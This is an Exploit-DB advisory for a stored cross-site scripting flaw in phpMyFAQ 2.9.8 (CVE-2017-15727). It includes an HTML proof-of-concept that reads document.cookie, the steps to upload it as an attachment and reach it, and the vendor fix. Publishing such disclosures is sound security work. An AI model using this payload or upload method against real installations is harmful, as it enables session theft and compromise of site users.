PHPMyFAQ 2.9.8 - Cross-Site Scripting (3)

EDB-ID: 43063
Author: Nikhil Mittal
Published: 2017-10-28
CVE: CVE-2017-15727
Type: Webapps
Platform: PHP
Vulnerable App: Download Vulnerable Application

 # Date: 28-9-2017 
# Exploit Author: Nikhil Mittal (Payatu Labs)
# Vendor Homepage: http://www.phpmyfaq.de/
# Software Link: http://download.phpmyfaq.de/phpMyFAQ-2.9.8.zip
# Version: 2.9.8
# Tested on: MAC OS
# CVE : 2017-15727

1. Description

In phpMyFAQ before 2.9.9, there is Stored Cross-site Scripting (XSS) via an HTML attachment.

2. Proof of concept

Exploit code

<!DOCTYPE html>
<html>
<head>
<title>XSS EXPLOIT</title>
</head>
<body>
<script>confirm(document.cookie)</script>
</body>
</html>



Steps to reproduce:

1. Create a user having limited access rights to attachment section
2. Goto http://localhost/phpmyfaq/admin/?action=editentry
2. Upload the exploit code with .html extension at the place of attachements
3. Access the file url generated at /phpmyfaq/attachments/<random_path>
4. Reach to last file using directory traversal and XSS will triage

3. Solution

Update to phpMyFAQ Version 2.9.9
http://download.phpmyfaq.de/phpMyFAQ-2.9.9.zip

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